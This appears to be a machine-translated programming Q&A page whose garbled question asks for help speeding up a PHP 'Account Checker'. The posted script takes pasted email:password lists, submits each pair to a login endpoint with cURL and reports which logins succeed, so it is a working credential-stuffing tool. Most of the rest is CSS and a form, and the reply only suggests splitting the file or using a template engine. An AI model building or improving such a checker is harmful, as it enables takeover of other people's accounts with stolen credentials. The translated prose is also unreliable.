2013-05-10 43 views
-4

創建一個腳本,該腳本將佔用10行值並在數組中將它們隨機打印,然後在腳本中逐一打印是我目前的PHP代碼。 我試圖解決我的PHP超時錯誤,再加上速度的東西了想要製作一個腳本,它將佔用10行值,並將它們在數組中隨機打印,然後逐個將它們打印在腳本上

<?php 
set_time_limit(0); 
function checkmail($email, $password){ 
    $url = "example"; 

    $h = curl_init(); 
    curl_setopt($h, CURLOPT_URL, $url); 
    curl_setopt($h, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($h, CURLOPT_POST, true); 
    curl_setopt($h, CURLOPT_POSTFIELDS, "&loginID=".$email."&password=".$password."&seamlesswebtag=&confirm-signin.x=47&confirm-signin.y=18"); 
    curl_setopt($h, CURLOPT_HEADER, true); 
    curl_setopt($h, CURLOPT_RETURNTRANSFER, true); 
    curl_setopt($h, CURLOPT_COOKIEJAR, 'cookies.txt'); 
    curl_setopt($h, CURLOPT_COOKIEFILE, 'cookies.txt'); 
    curl_setopt($h, CURLOPT_FOLLOWLOCATION, true); 

    $result = curl_exec($h); 
    return $result; 

} 

if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){ 
    $mps = preg_split('/\r\n|\r|\n/', $_POST['mp']); 
    foreach($mps as $mp){ 
     $mp = explode($_POST['delim'], $mp); 
     $email = $mp[0]; 
     $password = $mp[1]; 

     echo $html = checkmail($email, $password); 
     $doc = new DOMDocument(); 
     @$doc->loadHTML($html); 
     $nodes = $doc->getElementsByTagName('title'); 
     $title = $nodes->item(0)->nodeValue; 

     if($title == "example header"){ 
      echo "<br />FAILED - Email: $email - Password: $password"; 
     }else{ 
      echo "<br />SUCCESS - Email: $email - Password: $password"; 
      } 
     } 
    } 
?> 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"> 
<head> 
    <!-- no cache headers --> 
    <meta http-equiv="Pragma" content="no-cache" /> 
    <metfa http-equiv="Expires" content="-1" /> 
    <meta http-equiv="Cache-Control" content="no-cache" /> 
    <!-- end no cache headers --> 
    <title>Account Checker</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
    <style type="text/css"> 
     body{ 
      background-color: #333333; 
      font-size: 10pt; 
      font-family: Verdana; 
     } 
     body,td,th { 
      color: #cccccc; 
     } 
     h1,h6{ 
      margin-bottom:10px; 
      margin-top:0px; 
     } 
     select,textarea,.uneditable-input { 
      text-align: center; 
      border-color: #B333E5; 
      border:0px solid gray; 
      resize:none; 
      background-color:#666666; 
      color:#ffffff; 
      outline:0; 
      padding:5px; 
      border-radius:30px; 
      -webkit-box-shadow:0px 0px 20px 1px gray; 
     } 
     select,textarea:focus,.uneditable-input:focus { 
      -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      border:0px solid gray; 
      resize:none; 
      background-color:grey; 
      color:#ffffff; 
      outline:0; 
      padding:5px; 
      border-radius:30px; 
      -webkit-box-shadow:0px 0px 20px 1px gray; 
     }  
     input[type="text"]:hover{ 
      -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      border:0px solid gray; 
      resize:none; 
      background-color:grey; 
      color:#ffffff; 
      outline:0; 
      border-radius:12px; 
      -webkit-box-shadow:0px 0px 20px 1px gray;  
     } 
     input[type="text"]{ 
      text-align: center; 
      border-color: #B333E5; 
      border:0px solid gray; 
      resize:none; 
      background-color:#666666; 
      color:#ffffff; 
      outline:0; 
      border-radius:12px; 
     } 
     input[type="submit"]:hover { 
      -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important; 
      border:0px solid gray; 
      resize:none; 
      background-color:#F7FBFA; 
      color:#000; 
      outline:2px; 
      padding:5px; 
      border-radius:30px; 
      -webkit-box-shadow:0px 0px 20px 1px gray; 
     } 
     input[type="submit"] {  
      -webkit-transition: width 0.6s ease; 
      -moz-transition: width 0.6s ease; 
      -o-transition: width 0.6s ease; 
      border:0px solid gray; 
      resize:none; 
      background-color:#D7D1F8; 
      color:#000; 
      outline:0; 
      padding:5px; 
      border-radius:30px; 
      -webkit-box-shadow:0px 0px 15px 1px #333333; 
     } 
    </style>  
</head> 
<body> 
    <h1 align="center"> 
      <b style='color:blue'>Account Checker</b> 
    </h1> 
    <form action="" method="post"> 
     <div align="center"> 
      <textarea name="mp" cols="100" rows="12">[email protected]:password</textarea> 
      <br /> 
      <b> 
       Splitter: <input type="text" name="delim" value=":" style="width:32px;" /> 
       <input type="submit" value=" Check Now " name="submit" /> 
      </b> 
     </div> 
    </form> 
    <br /> 
    <div align="right"> 
     <p style="font-size:0.7em;font:tahoma;"> 
     </p> 
    </div> 
</body> 

任何幫助將是巨大的價值和deaply尊重。 我只是想這個,所以它可以更好地發揮作用

+0

看看http://stackoverflow.com/questions/11887429/php-include-for然後HTML代碼前加上這一行-html – 2013-05-10 12:41:48

回答

3

簡單的解決方案:把標題PHP代碼放在一個單獨的文件,例如,logic.php

<?php require_once('logic.php'); ?> 

良好的解決方案:使用適當的模板引擎,像Twig

+0

我試過這個沒有工作得到沒有回聲反應 – 2013-05-10 13:16:04

+0

我現在整理謝謝無論如何改變我的wuestion,如果你可以幫助 – 2013-05-10 13:41:04

+0

anyhelp,將不勝感激 – 2013-05-10 14:36:49

相關問題